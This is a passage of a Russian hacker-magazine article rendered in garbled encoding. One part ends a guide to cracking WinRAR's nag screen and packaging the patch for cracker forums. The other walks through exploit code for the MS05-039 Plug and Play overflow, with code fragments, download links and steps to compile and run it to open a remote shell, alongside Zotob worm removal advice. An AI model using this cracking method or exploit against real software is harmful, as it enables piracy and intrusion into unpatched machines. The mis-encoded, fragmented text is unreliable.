íàã. Òî, ÷òî íàäî. Çàïèñàâ àäðåñ, ÿ âûøåë èç Olly è íàïðàâèëñÿ ê Hiew.
Âûáðàâ mode-decode è íàæàâ goto, ÿ ââåë ïîëó÷åííûé àäðåñ ñ òî÷êîé
âíà÷àëå è çàìåíèë òàì 5 áàéò, çàïèñàâ â íèõ 90, òî åñòü ïðîñòî çàíîïèë
èõ, ïîñëå ÷åãî ñîõðàíèë ôàéë è âûøåë èç Hiew. Òåïåðü íàñòàëî âðåìÿ
ïîïðîáîâàòü çàïóñòèòü àðõèâàòîð. Êëèêíóâ äâà ðàçà ïî çíàêîìîìó ÿð-
ëû÷êó, ÿ îáíàðóæèë, ÷òî óñïåâøèå óæå íàäîåñòü íàãè ïðîïàëè, îäíàêî
îñòàëàñü íàäïèñü íàâåðõó, êîòîðàÿ ïîðòèò âåñü ýôôåêò. ß ðåøèë ïîòå-
ðåòü åå, ïðîñòî èçìåíèâ çàãîëîâîê â ðåäàêòîðå ðåñóðñîâ. Äëÿ ýòîãî îòê-
ðûë â reshacker'å winrar, íàøåë ñòðî÷êó «íåçàðåãèñòðèðîâàííàÿ êîïèÿ»
è èçìåíèë åå íà êîå-÷òî áîëåå ïðèÿòíîå. Âîò è âñå, ïðèÿòåëü, òàê ÿ ïî-
ëîìàë WinRar. Ïðàâäà, ýëåìåíòàðíî? Ïðîñòåéøèé ïðèìåð, ïðîñòåéøèé
êðýê. Íó è ñêàæè ìíå òåïåðü, ÷òî òû íå ñïðàâèøüñÿ ñ ÷åì-òî ïîäîáíûì.
Îäíàêî ÿ åùå íå çàêîí÷èë ñâîé ðàññêàç. Ñàì ïîíèìàåøü, ÷òî äåëàòü
âñþ ýòó ôèãíþ ðóêàìè íå î÷åíü-òî êëåâî. Ïîýòîìó ó ìåíÿ âîçíèêëî ðå-
çîííîå æåëàíèå èçãîòîâèòü ïîëíîöåííûé ïàò÷ äëÿ óäîáñòâà.

[âàÿåì ïàò÷] ß âîñïîëüçîâàëñÿ êðóòûì (äëÿ ìåíÿ:)) ïàò÷åðîì codefu-
sion. Ýòîò ïàò÷åð ðàáîòàåò äîâîëüíî ïðîñòî. Åìó ïåðåäàåòñÿ äâà ôàéëà:
îðèãèíàëüíûé è ïðîïàò÷åííûé. Îí âû÷èñëÿåò ðàçíèöó ìåæäó íèìè è àâ-
òîìàòè÷åñêè ãåíåðèðóåò êîä ïàò÷à. Èñïîëüçîâàòü codefusion ïðîùå ïðîñ-
òîãî. Âûáèðàåì çàãîëîâîê è òåêñò â îêíå ïàò÷à, æìåì next, ïîñëå ýòîãî
âûáèðàåì ôàéë äëÿ ïàò÷à, à â îêíå data to patch æìåì ïðàâóþ êíîïêó ìû-
øè è âûáèðàåì file compare. Çäåñü óêàçûâàåì îðèãèíàëüíûé è ïîëîìàí-
íûé ôàéëû, ïàò÷åð èõ ïîáàéòîâî ñðàâíèâàåò, ïîñëå ÷åãî àâòîìàòè÷åñêè
ãåíåðèðóåò exe-ïàò÷, êîòîðûé ìîæíî ðåëèçèòü íà êðýêåðñêèõ ôîðóìàõ :).

[âòîðîé ñïîñîá] Ïîíðàâèëîñü? Ñåé÷àñ ïîíðàâèòñÿ åùå áîëüøå. 
ß îïèøó åùå 2 ñïîñîáà, êàê êðýêíóòü ýòîò íåñ÷àñòíûé àðõèâàòîð.
Êàê òû, íàâåðíîå, óæå óñïåë çàìåòèòü, íàã ïîÿâëÿåòñÿ òîëüêî ïîñëå 40
äíåé. À ÷òî æå òîãäà ïðîèñõîäèò äî ýòîãî? Íå çíàåøü? Äà ëàäíî òåáå,
âñå òû çíàåøü. Ïðîèñõîäèò îòñ÷åò âðåìåíè. Äåñÿòè÷íîå ÷èñëî 40 
â øåñòíàäöàòåðè÷íîì ïðåäñòàâëåíèè � ýòî 28, çíà÷èò, ãäå-òî â ïðîã-
ðàììå ÷òî-òî ñðàâíèâàåòñÿ ñ 28h. ×òîáû ïîíÿòü, ãäå èìåííî è ÷òî ñðàâ-
íèâàåòñÿ, ìû âîñïîëüçóåìñÿ w32dasm.

w32dasm � î÷åíü ïîëåçíàÿ âåùü, îñîáåííî äëÿ áîðüáû ñ íåñëîæíûìè
çàùèòàìè íàøè òðóäû íå ïðîøëè äàðîì

ïî÷òè âñåìîãóùèé ollydbg
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ÒÛ, ÊÎÍÅ×ÍÎ ÆÅ, ÇÍÀÅØÜ, ×ÒÎ ÒÀÊÎÅ PLUG AND PLAY. À ÅÑËÈ È ÍÅ ÇÍÀÅØÜ, ÒÎ ÝÒÎ ÍÅ ÌÅØÀÅÒ ÒÅÁÅ
ÏÎËÜÇÎÂÀÒÜÑß ÝÒÎÉ ÒÅÕÍÎËÎÃÈÅÉ ÈÇÎ ÄÍß Â ÄÅÍÜ, ÏÎÄÊËÞ×Àß ÍÎÂÛÅ ÄÅÂÀÉÑÛ, MP3-ÏËÅÅÐÛ, ÖÈ-
ÔÐÎÂÈÊÈ, USB-ÔËÅØÊÈ È ÏÐÎ×ÈÅ ÝËÅÊÒÐÎÍÍÛÅ ÆÅËÅÇÊÈ. ÝÒÀ ÇÀÌÅ×ÀÒÅËÜÍÀß ÒÅÕÍÎËÎÃÈß ÑÅÐÜÅÇ-
ÍÎ ÓÏÐÎÙÀÅÒ ÆÈÇÍÜ ÌÈËËÈÎÍÀÌ ÞÇÅÐÎÂ, ÑÂÎÄß ÓÑÈËÈß, ÍÅÎÁÕÎÄÈÌÛÅ ÄËß ÓÑÒÀÍÎÂÊÈ È ÍÀ-
ÑÒÐÎÉÊÈ ÍÎÂÛÕ ÓÑÒÐÎÉÑÒÂ Ê ÌÈÍÈÌÓÌÓ. ÍÎ ÍÅÄÀÂÍÎ ÝÒÀ ÆÅ ÒÅÕÍÎËÎÃÈß ÏÎÑËÓÆÈËÀ ÏÐÈ×ÈÍÎÉ
ÄËß ÂÎÇÍÈÊÍÎÂÅÍÈß ÑÅÐÜÅÇÍÎÉ ÂÈÐÓÑÍÎÉ ÝÏÈÄÅÌÈÈ, ÏÎÐÀÇÈÂØÅÉ ÑÈÑÒÅÌÛ ÒÀÊÈÕ ÊÎÌÏÀÍÈÉ, ÊÀÊ
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[äîèãðàëèñü] Plug and Play � ýòî ñòàíäàðòíûé ñåðâèñ ñèñòåìû Win-
dows NT, êîòîðûé óñòàíàâëèâàåòñÿ ïî óìîë÷àíèþ. Ïðåäíàçíà÷åí ýòîò
ñåðâèñ äëÿ îáëåã÷åíèÿ æèçíè ñòàíäàðòíîãî âèíäîâîãî ïîëüçîâàòåëÿ: ñ
åãî ïîìîùüþ îïåðàöèîííàÿ ñèñòåìà îáíàðóæèâàåò íîâûå äåâàéñû è ïî-
ìîãàåò þçåðó óñòàíîâèòü íåîáõîäèìûå äðàéâåðà è ñîôò. Ýòîò äåòñêèé
ìèíèìàëèçì äëèëñÿ âïëîòü äî 9 àâãóñòà 2005 ãîäà, êîãäà íà ñàéòå êîð-
ïîðàöèè Microsoft áûë îïóáëèêîâàí áþëëåòåíü, îïèñûâàþùèé êðèòè÷å-
ñêóþ áðåøü â ñåðâèñå Plug'n'Play. Â ñîîáùåíèè áûëî óêàçàíî, ÷òî óÿçâè-
ìûìè ñ÷èòàþòñÿ âñå âåðñèè ñèñòåì Windows NT, â êîòîðûõ óñòàíîâëåí
ýòîò ñåðâèñ. Êàê âûÿñíèëîñü ïîçæå, àòàêîâàòü P'n'P ìîæíî áûëî è óäà-
ëåííî. Ýòî ìîãëî îçíà÷àòü òîëüêî îäíî: â Ñåòè ãðÿäåò íîâàÿ âîëíà ýïè-
äåìèé. Âïðî÷åì, äàëåå ïî òåêñòó áûëî çàìå÷åíî, ÷òî êðèòè÷åñêîé äàí-
íàÿ óÿçâèìîñòü ñ÷èòàåòñÿ òîëüêî äëÿ ñèñòåì ñåìåéñòâà 2k. Êîíå÷íî æå,
âî âñåìè ëþáèìîé XP áðåøü òîæå ñóùåñòâóåò, íî, êàê îöåíèëè èññëåäî-
âàòåëè, äëÿ äàííîé ñèñòåìû îíà íå ÿâëÿåòñÿ êðèòè÷åñêîé, ïîñêîëüêó
äëÿ ýêñïëóàòàöèè îøèáêè íóæíî èìåòü êàêèå-òî ëîêàëüíûå ïðàâà íà
óäàëåííîé ìàøèíå, à äëÿ win2k èìåòü ïðàâà íå òðåáóåòñÿ, â ðåçóëüòàòå
÷åãî àíîíèìíûé ïîëüçîâàòåëü ìîæåò ëåãêî ïîäíÿòü ñâîè ïðèâèëåãèè íà
àòàêóåìîé ìàøèíå.

[óÿçâèìîñòü] Ñàìà ïî ñåáå óÿçâèìîñòü î÷åíü ïðîñòà. Ýòî ñòåêîâîå
ïåðåïîëíåíèå áóôåðà. Â îòâåäåííûé áóôåð ñåðâèñ P'n'P êîïèðóåò âõî-
äÿùèå ñîîáùåíèÿ, íå ïðîâåðÿÿ è íå îãðàíè÷èâàÿ èõ äëèíó. Ïîýòîìó ñïå-
öèàëüíûì îáðàçîì ñôîðìèðîâàííîå ñîîáùåíèå ìîæåò âûçâàòü ïåðå-
ïîëíåíèå áóôåðà, ÷òî ïîâëå÷åò çà ñîáîé ñáîé service.exe, èëè âûïîëíå-
íèå çëîâðåäíîãî êîäà íà ñòîðîíå àòàêóåìîé ìàøèíû. Ñåðâèñ P'n'P ïî-

Îïèñàíèå áàãà è ñîçäàíèå ñïëîèòà
äëÿ ñåðâèñà Plug'n'Play

ñòðîåí íà DCE RPC ïðîòîêîëå è
äîñòóïåí ÷åðåç 445/tcp ïîðò. Íà
âñÿêèé ñëó÷àé íàïîìíþ, ÷òî RPC,
Remote Procedure Call (óäàëåííûé
âûçîâ ïðîöåäóð), ïðåäñòàâëÿåò èç
ñåáÿ ìåõàíèçì, ïðè ïîìîùè êîòî-
ðîãî ëþáîå ïðèëîæåíèå ìîæåò
âûçûâàòü ïðîöåäóðû íà óäàëåí-
íîé ìàøèíå. Äóìàþ, ó àáñîëþòíî-
ãî áîëüøèíñòâà ÷èòàòåëåé àááðå-
âèàòóðà RPC íåðàçðûâíî ñâÿçàíà
ñ RPÑ DCOM-áàãîì, êîòîðûé ïî-
ïîðòèë èì íåìàëî êðîâè. Íî ñå-
ãîäíÿ ìû ãîâîðèì íå îá ýòîì áàãå,
íà ïîâåñòêå äíÿ � äûðêà â
Plug'n'Play, òàê ÷òî íå áóäåì îò-
âëåêàòüñÿ.
Óäàëåííûé äîñòóï ê ñåðâèñó P'n'P
îñóùåñòâëÿåòñÿ ñ èñïîëüçîâàíèåì
òàê íàçûâàåìûõ «èìåíîâàííûõ
êàíàëîâ» ÷åðåç NULL-ñåññèþ, òî
åñòü ïî ïðîòîêîëó SMB áåç àóòåíòèôèêàöèè. Èìåíîâàííûå êàíàëû â
Windows � ýòî îäèí èç ñïîñîáîâ äëÿ ìåæïðîöåññíîãî âçàèìîäåéñòâèÿ.
Äîñòóï ê íèì ìîæåò îñóùåñòâëÿòüñÿ êàê ëîêàëüíî, òàê è óäàëåííî, ïðè
ïîìîùè ïðîòîêîëà SMB. Òû, êîíå÷íî æå, ïîìíèøü î ñòðàííîì îáùåì
ðåñóðñå ñ íàçâàíèåì IPC$, êîòîðûé íåìàëî ìîçîëèë òåáå ãëàçà. Íåëèø-
íèì áóäåò ïîÿñíèòü, ÷òî IPC ðàñøèôðîâûâàåòñÿ, êàê Inter-Process Com-
munication è èìåííî ýòîò ðåñóðñ ñîäåðæèò â ñåáå èìåíîâàííûå êàíàëû.
Ïîýòîìó äëÿ òîãî, ÷òîáû óäà÷íî ïðîýêñïëóàòèðîâàòü óÿçâèìîñòü â ñåð-

Ïîäêëþ÷èì �� ïïîèãðàåì!
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Â Ñåòè ÿ íàøåë äîñòàòî÷íî
õîðîøóþ ñòàòüþ, îïèñû-
âàþùóþ âñå ñåðâèñû ÎÑ
Windows. Æàëêî òî, ÷òî
ñòàòüÿ íà àíãëèéñêîì. Íî ÿ
äóìàþ, ÷òî òû óæå ïðåîäî-
ëåë ÿçûêîâîé áàðüåð.
Ñòàòüþ òû ìîæåøü íàáëþ-
äàòü íà íàøåì CD.

Íà íàøåì äèñêå äëÿ îçíà-
êîìëåíèÿ òû íàéäåøü èñ-
õîäíûå êîäû óïîìÿíóòûõ
ýêñïëîéòîâ, à òàêæå êíèãó
ïî ñåðâèñàì Windows.

×åðâü Zotob, íàäåëàâøèé
ñòîëüêî øóìà, áàçèðóåòñÿ
íà èçâåñòíûõ ïóáëè÷íûõ
áîòàõ òèïà Sdbot è Rbot.



íàéòè â ñòàòüå î ñåðâèñàõ, êîòîðàÿ ëåæèò íà íàøåì äèñêå. Ïîýòîìó ÿ íå
áóäó çàîñòðÿòü âíèìàíèå íà òàêîé åðóíäå,  ëó÷øå ïåðåéäó ñðàçó ê îñíîâ-
íûì ôóíêöèÿì, à èìåííî ê BindRpcInterface. Â äàííîé ôóíêöèè ïðîèñõîäèò
áèíä RPC èíòåðôåéñà; ÿ ïðèâåäó åå êîä è ðàññêàæó, êàê îíà ðàáîòàåò.

[êîä ôóíêöèè BindRpcInterface]

int BindRpcInterface(HANDLE PH, char *Interface, char *InterfaceVer) 
{ 
memcpy(&RPCBind,&PRPC,sizeof(RPCBind)); 
UuidFromString(Interface,&RPCBind.InterfaceUUID); 
UuidToString(&RPCBind.InterfaceUUID,&Interface); 
RPCBind.InterfaceVerMaj=atoi(&InterfaceVer[0]); 
RPCBind.InterfaceVerMin=atoi(&InterfaceVer[2]); 
TransactNamedPipe(PH, &RPCBind, sizeof(RPCBind), rbuf, 
sizeof(rbuf), &dw, NULL); 
return 0; 
}

Ôóíêöèÿ UuidFromString ïðåîáðàçóåò ñòðîêó â Uuid ôîðìàò, êîòîðûé èñ-
ïîëüçóåòñÿ äëÿ âçàèìîñâÿçè ïîñðåäñòâîì ñåðâèñíûõ èíòåðôåéñîâ, à
UuidToString, êàê íåñëîæíî äîãàäàòüñÿ, âûïîëíÿåò îáðàòíóþ îïåðàöèþ.
Ïîñëå òîãî, êàê çàïîëíÿþòñÿ ïîëÿ InterfaceVerMaj è InterfaceVerMin
ñòðóêòóðû RPCBIND, ïðîèñõîäèò âûçîâ ôóíêöèè TransactNamedPipe(PH,
&RPCBind, sizeof(RPCBind), rbuf, sizeof(rbuf), &dw, NULL), êîòîðàÿ çàïè-
ñûâàåò è ÷èòàåò äàííûå èç èìåíîâàííîãî êàíàëà. Íåñëîæíî âèäåòü, ÷òî
ó ýòîé ôóíêöèè èìååòñÿ 7 ïàðàìåòðîâ:

1 Õýíäë íà èìåíîâàííûé êàíàë, ñîçäàííûé ñ ïîìîùüþ CreateNamedPi-
pe èëè CreateFile

2 Óêàçàòåëü íà ñòðóêòóðó äàííûõ, êîòîðûå çàïèøóòñÿ â êàíàë

3 Ðàçìåð 2 ïàðàìåòðà

4 Óêàçàòåëü íà áóôåð, ïðèíèìàþùèé îòâåò îò êàíàëà

5 Ðàçìåð 4 ïàðàìåòðà

6 Óêàçàòåëü íà ïåðåìåííóþ, êîòîðàÿ ïðèíèìàåò êîëè÷åñòâî áàéò, ïðî-
÷èòàííûõ èç êàíàëà
7 Óêàçàòåëü íà OVERLAPPED ñòðóêòóðó. Â äàííîì ñëó÷àå îí èãíîðèðóåòñÿ

Â ãëàâíîé ôóíêöèè main() ðàñïîëîæåíà ñòðóêòóðà NETRESOURCE:

NETRESOURCE nr;
nr.dwType = RESOURCETYPE_ANY; #ýòî òèï ðåñóðñà
nr.lpLocalName = NULL; #ëîêàëüíîå èìÿ ìàøèíû

âèñå Plug and Play äîñòàòî÷íî
ñîçäàòü ñîåäèíåíèå ïî NULL-ñåñ-
ñèè, ïîñëå ÷åãî ïîÿâèòñÿ âîçìîæ-
íîñòü âûçûâàòü RPC ïðîöåäóðû
íà óäàëåííîé ñèñòåìå. Êîãäà ñîå-
äèíåíèå áóäåò óñòàíîâëåíî, íóæ-
íî ñîåäèíèòüñÿ ñ IPC$ è îòêðûòü
èìåíîâàííûé êàíàë. IPC$ èñïîëü-
çóåòñÿ äëÿ òîãî, ÷òîáû ñêîíôèãó-
ðèðîâàòü ñïèñîê èìåíîâàííûõ êà-
íàëîâ. Äëÿ àíîíèìíîãî äîñòóïà
èñïîëüçóåòñÿ êàíàë \pipe\browser.
Ïîñëå âñåãî ýòîãî íóæíî çàáèí-
äèòü DCE RPC èíòåðôåéñ, äëÿ ÷å-
ãî èñïîëüçóþòñÿ ôóíêöèè Uuid* è
âûçîâû äëÿ ðàáîòû ñ ñåòüþ.

Çàòåì óêàçûâàåòñÿ Device ID � â äàííîì ñëó÷àå íàì òðåáóåòñÿ Plug and
Play Software Device Enumerator, ïîýòîìó óêàçûâàåòñÿ ROOT\SY-
STEM\0000. Õî÷ó ïðåäóïðåäèòü ÷òî äàííûé ñåðâèñ èñïîëüçóåò îáðàáîò-
êó èñêëþ÷èòåëüíûõ ñèòóàöèé (SEH), ïîýòîìó äëÿ óäà÷íîãî ýêñïëóàòèðî-

âàíèÿ íóæíî áóäåò îáîéòè ýòó çà-
ùèòó. Î òîì, êàê ýòî ðåàëèçîâàòü,
òåáå ëó÷øå ïî÷èòàòü â Ñïåöå ïî
ïåðåïîëíåíèÿì. À ìû ïîêà ïîïðî-
áóåì ñâîè ñèëû íà ïðàêòèêå è
ïðèñìîòðèìñÿ ê ïåðâîìó âûïóùåí-
íîìó ýêñïëîéòó, êîòîðûé ïîÿâèëñÿ
÷åðåç äâà äíÿ ïîñëå ïóáëèêàöèè
èíôîðìàöèè î áàãå. Àâòîð ýòîãî
ýêñïëîéòà, ïåðåö ñ íèêîì sl0ppy,
ðåàëèçîâàë â ñâîåì òâîðåíèè âñå,
î ÷åì ÿ ãîâîðèë âûøå, è ïîëó÷èë
âïîëíå áîåñïîñîáíóþ îòìû÷êó. Åãî
òâîðåíèå òû ìîæåøü íàáëþäàòü íà
íàøåì DVD-äèñêå. Â òåêñòå ýê-
ñïëîéòà î÷åíü ëåãêî ðàçîáðàòüñÿ, â
÷åì òû ñêîðî óáåäèøüñÿ.

[ýêñïëîéò â ðàçðåçå] Ñåé÷àñ ÿ
ðàññìîòðþ íà ïàëüöàõ, êàê ðàáîòà-
åò ñïëîèò îò sl0ppy. Â íà÷àëå ïðî-
ãðàììû ðàñïîëîæåíà ñòðóêòóðà
RPC, îïèñàíèå êîòîðîé òû ìîæåøü

Ïîìíè: ýòà ñòàòüÿ äàåòñÿ
òåáå äëÿ ñîçäàíèÿ àäåêâàò-
íîé çàùèòû îò ñåòåâûõ
âçëîìùèêîâ. Ëþáîå íåçà-
êîííîå èñïîëüçîâàíèå ýòîé
èíôîðìàöèè ëåæèò íà òâî-
åé ñîâåñòè è áóäåò áèòü ïî
çàäíèöå èìåííî òåáÿ.

Ñïëîèò îò hod'à: www.secu-
rityinfo.ru/www/upload/HOD-
ms05039-pnp-expl.c
Ñïëîèò îò sl0ppy: www.der-
keiler.com/Mailing-Lists/Se-
curiteam/2005-08/0054.html

ñåðâèñ Plug and Play
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nr.lpRemoteName = unc; #óäàëåííîå èìÿ ìàøèíû
nr.lpProvider = NULL; #ïðîâàéäåð

Íåñêîëüêî ëåò íàçàä Horrific ïèñàë ñòàòüþ, â êîòîðîé îïèñûâàëñÿ ïðè-
ìåð ñîçäàíèÿ ñêàíåðà ðåñóðñîâ. Òàê âîò, â íàøåì ñëó÷àå èñïîëüçóþòñÿ
ôóíêöèè è ñòðóêòóðû àíàëîãè÷íûå òåì, ÷òî áûëè ðàçîáðàíû â åãî
ñòàòüå. Äàëåå â ñïëîèòå ñîçäàåòñÿ ñîåäèíåíèå ñ õîñòîì, óêàçàííûì â
ïåðâîì àðãóìåíòå ôóíêöèè main():

server=argv[1];
_snprintf(unc, sizeof(unc), "\\\\%s\\pipe", server);
WNetAddConnection2(&nr, "", "", 0);

Ïðîöåäóðà WNetAddConnection2() ñîåäèíÿåò ìàøèíó ñ ñåòåâûì ðåñóð-
ñîì, ó ýòîãî áëîêà êîäà èìååòñÿ 4 àðãóìåíòà:

1 Óêàçàòåëü íà ñòðóêòóðó NETRESOURCE

2 Ïàðîëü

3 Èìÿ ïîëüçîâàòåëÿ

4 Ôëàã

Ôëàãîâ î÷åíü ìíîãî, ÿ ðàññìîòðþ ëèøü íåêîòîðûå:

� CONNECT_INTERACTIVE � åñëè ýòîò ôëàã óñòàíîâëåí, òî ÎÑ âçàè-
ìîäåéñòâóåò ñ ïîëüçîâàòåëåì ÷åðåç àóòåíòèôèêàöèþ
� CONNECT_PROMPT � â äàííîì ñëó÷àå ÎÑ äåëàåò âñå ïî óìîë÷à-
íèþ. Òî åñòü íèêàêàÿ àóòåíòèôèêàöèÿ íå òðåáóåòñÿ

Òåïåðü ðàññêàæó î òîì, êàêèì îáðàçîì ìîæíî ñîçäàòü àíîíèìíûé èìå-
íîâàííûé êàíàë. Ðåàëèçóåòñÿ ýòî ñëåäóþùèì îáðàçîì: 

_snprintf(szPipe, sizeof(szPipe), "\\\\%s\\pipe\\browser",server);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
BindRpcInterface(hFile,"8d9f4e40-a03d-11ce-8f69-08003e30051b","1.0");

[ýïèäåìèÿ ïòè÷üåãî ãðèïïà] Áóêâàëüíî íà âòîðîé äåíü ïîñëå ïóáëè-
êàöèè èíôîðìàöèè îá óÿçâèìîñòè P'n'P, â Ñåòè ïîÿâèëñÿ çëîáíûé ÷åðâü,
êîòîðûé ïîðàæàë íåïðîïàò÷åííûå ñèñòåìû. Îêàçàëîñü, ÷òî ïî âñåìó ìèðó
áåñ÷èñëåííîå ìíîæåñòâî áàæíûõ ìàøèí. Íîâîìó ÷åðâþ äàëè çâó÷íîå èìÿ
� Zotob. Ïðîöåäóðà ðàçìíîæåíèÿ ýòîãî ÷åðâÿ ÷ðåçâû÷àéíî áàíàëüíà: îí
ïðîñòî ñêàíèðóåò îãðîìíûå ñåòåâûå äèàïàçîíû â ïîèñêàõ óÿçâèìûõ ìàøèí
è çàðàæàåò íàéäåííûå ìàøèíêè. ×åðâü òàêæå óìååò ïîëó÷àòü êîìàíäû ïî
irc: õîçÿèí irc-ñåðâåðà óêàçûâàåò êîìàíäó áîòàì, à òå îõîòíî âûïîëíÿþò åå.
Ñðàçó æå, êàê íîâîñòü î íîâîì ÷åðâå ïðîñî÷èëàñü â ìàññû, ñòàëè ïîÿâëÿòü-
ñÿ êëîíû ÷åðâÿ. Èìè óæå, ñêîðåå âñåãî, óïðàâëÿëè äðóãèå ëþäè. Êëîíû íà-
÷èíàëè ïðîâåðÿòü ïðèçíàêè ðàííåãî çàðàæåíèÿ íà óäàëåííîé ìàøèíå, è
åñëè ïðèçíàêè âûÿâëÿëèñü, îíè ñòàðàëèñü óäàëÿòü ñòàðûå âàðèàíòû ÷åð-
âåé. È òóò óæå ðàçðàçèëàñü íàñòîÿùàÿ áîéíÿ çà êàæäóþ îòäåëüíóþ ìàøè-
íó. Çàðàæåíèþ ïîäâåðãëèñü äåñÿòêè òûñÿ÷ êîìïüþòåðîâ! Â èõ ÷èñëå áûëè
ìàøèíû òàêèõ êðóïíåéøèõ êîðïîðàöèé, êàê Microsoft, CNN è NY Times.

[çàùèòà îò çàðàçû] Êàê ãîâîðèòñÿ, íóæíî çíàòü ñâîåãî âðàãà â ëèöî. Ïî-
ýòîìó ÿ õî÷ó îïèñàòü ïîäðîáíîñòè îáíàðóæåíèÿ ýòîé çàðàçû è ïîñëåäóþ-

ùåãî óäàëåíèÿ åå èç òâîåãî êîìïà.
Âî-ïåðâûõ, ÷òî ìåíÿ óäèâèëî, òàê
ýòî òîò ôàêò, ÷òî Zotob ïðàêòè÷åñêè
íèêàê íå ìàñêèðóåòñÿ. Íèêàê íå

ñêðûâàåò êëþ÷åé â ðååñòðå, íå ïåðåõâàòûâàåò API-âûçîâû. Åãî îáíàðóæèòü
î÷åíü ëåãêî. Ïåðâîå, ÷òî áðîñàåòñÿ â ãëàçà, òàê ýòî çàïèñü â ðååñòðå íà àâ-
òîçàãðóçêó ÷åðâÿ. Îáû÷íî â ðååñòðå îí ïèøåòñÿ â òàêèå ñòàíäàðòíûå êëþ-
÷è, êàê HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVer-
sion\Run è HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curren-
tVersion\RunServices. Îáÿçàòåëüíî îáðàòè âíèìàíèå íà çíà÷åíèÿ êëþ÷åé,
êîòîðûå íàõîäÿòñÿ òàì. ×åðâü îáû÷íî ìàñêèðóåòñÿ ïîä íàçâàíèÿìè
csm.exe è botzor.exe. Áèíàðíûé ìèêðîá îòêðûâàåò ñâîé ftp-ñåðâåð íà 33333
ïîðòó è óäàëåííûé øåëë íà 8888 ïîðòó. Çàðàçà òàêæå ñîåäèíÿåòñÿ ñ IRC-
ñåðâåðîì. Åùå ÷åðâü áëîêèðóåò ñòàíäàðòíûé âèíäîâûé ôàéðâîë ïóòåì ìî-
äèôèêàöèè ðååñòðà è çàïðåùàåò äîñòóï ê ñàéòàì, ìîäèôèöèðóÿ hosts-ôàéë
â äèðåêòîðèè Windows. ß äóìàþ, òû óæå äîãàäàëñÿ, êàê óäàëèòü ýòó òâàðü.
Âî-ïåðâûõ, íóæíî óáèòü ïðîöåññ ÷åðâÿ. Äëÿ ýòîãî íóæíî èñïîëüçîâàòü íå
ñòàíäàðòíûé «Äèñïåò÷åð çàäà÷», à óòèëèòó, êîòîðàÿ óáèâàåò ïðîöåññû â ðå-
æèìå System Debug. Çà ïðèìåðîì òàêîé òóëçû äàëåêî õîäèòü íå íàäî, âîçü-
ìåì, ê ïðèìåðó, óòèëèòó, íàïèñàííóþ ìîèì õîðîøèì çíàêîìûì, êîòîðàÿ
íàçûâàåòñÿ Process Hunter. Ïîñëå òîãî, êàê òû êèëüíóë çàðàçíûé ïðîöåññ,
íóæíî îòûñêàòü ïîãàíûé áèíàðíèê è ñíåñòè åãî.
Åñëè æå òû âñå åùå íå ïîäöåïèë çàðàçó, òî ëó÷øèì ñïîñîáîì áóäåò çàê-
ðûòü ôàéðâîëîì îò âíåøíèõ àäðåñîâ 135 è 445 ïîðòû. Äàííûé ìåòîä
óíèâåðñàëåí è îí ñïàñåò òåáÿ îò âñåõ ïîñëåäóþùèõ àòàê, êîòîðûå ðåà-
ëèçóþòñÿ ÷åðåç ýòè tcp-ïîðòû. Òàêæå  ïîëåçíûì áóäåò óñòàíîâèòü ïàò÷
îò Microsoft, êîòîðûé ëåæèò íà íàøåì äèñêå

êíèãà ïî ñåðâèñàì â Windows

óäàëåííûé DoS

ÑÏËÎÈÒ ÎÎÒ HHOUSEOFDABUS
Ñïóñòÿ îäèí äåíü ïîñëå ïóáëèêàöèè sl0ppy, íà ñâåò ïî-
ÿâèëñÿ ýêñïëîéò îò óæå ñòàâøåãî çíàìåíèòûì ýêñïëîéòåðà
houseofdabus'à. Åãî ðåàëèçàöèÿ, êàê ìíå êàæåòñÿ, áàçèðî-
âàëàñü íà ïåðâîì ýêñïëîéòå, îí ïðîñòî âíåñ òóäà íåêîòî-
ðûå èçìåíåíèÿ. HoD äîáàâèë â ñâîé ýêñïëîéò âîçìîæ-
íîñòü èñïîëíÿòü êîä, ïëþñ ðàçìåñòèë ñàì øåëë-êîä â ñå-
ðåäèíå ìåæäó NOP'àìè. Ýòî áûëî ñäåëàíî äëÿ òîãî, ÷òîáû
ïðè íåóäà÷íîì ýêñïëóàòèðîâàíèè ñåðâèñ íå ïàäàë è òåì
ñàìûì íå ïåðåçàãðóæàë óäàëåííóþ ìàøèíó. Òàêæå äàííûé
ýêñïëîéò ÿâëÿëñÿ óíèâåðñàëüíûì çàñ÷åò òîãî, ÷òî âî âñåõ
ñèñòåìàõ Windows 2000 àäðåñ pop eax, pop eax, ret (ýòè èí-
ñòðóêöèè èñïîëüçóþòñÿ äëÿ áîðüáû ñ SEH) áûë îäèíàêî-
âûì â óÿçâèìîé áèáëèîòåêå umpnpmgr.dll, êîòîðóþ þçàåò
áàæíûé P'n'P. Îñîáåííî ñëåäóåò îòìåòèòü òîò ôàêò, ÷òî íè
îäèí èç âûïóùåííûõ ñïëîèòîâ íå ïðåäíàçíà÷àåòñÿ äëÿ ñè-
ñòåì Windows XP, ïîñêîëüêó â íèõ íå ðåàëèçîâàíà ôóíê-
öèÿ àâòîðèçàöèè íà óäàëåííîì õîñòå. Âïðî÷åì, ïðèäåëàòü
òàêóþ âîçìîæíîñòü íå ñîñòàâëÿåò áîëüøîãî òðóäà.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÑÏËÎÈÒÀ HHOD
Ðàññêàæó î òîì, êàê ïîëüçîâàòüñÿ ýòèì ñïëîèòîì. Ïðåæäå
âñåãî, ñêà÷àòü âåðñèþ ñïëîèòà houseofdabus'à ìîæíî çäåñü:
www.securityinfo.ru/www/upload/HOD-ms05039-pnp-expl.c, ëè-
áî âçÿòü ñ íàøåãî äèñêà. Ñîáðàòü åå ìîæíî ïîä ëþáîé
ïëàòôîðìîé, ãäå ìîæíî óñòàíîâèòü êîìïèëÿòîð C. ß ñîáè-
ðàë ýòîò ñïëîèò ïîä freebsd è íèêàêèõ çàòðóäíåíèé âîçíè-
êíóòü íå ìîãëî: gcc www.securityinfo.ru/www/upload/HOD-
ms05039-pnp-expl.c -o sploit è âñå äåëà. ×òî êàñàåòñÿ çàïóñêà
îòìû÷êè, òî è òóò âñå î÷åíü ïðîñòî: òðåáóåòñÿ áàíàëüíî óêà-
çàòü àäðåñ óÿçâèìîé ìàøèíû è ïîðò, íà êîòîðîì òðåáóåòñÿ
çàáèíäèòü cmd.exe. Âñå ýòî ïðåêðàñíî ïðîèëëþñòðèðîâàíî
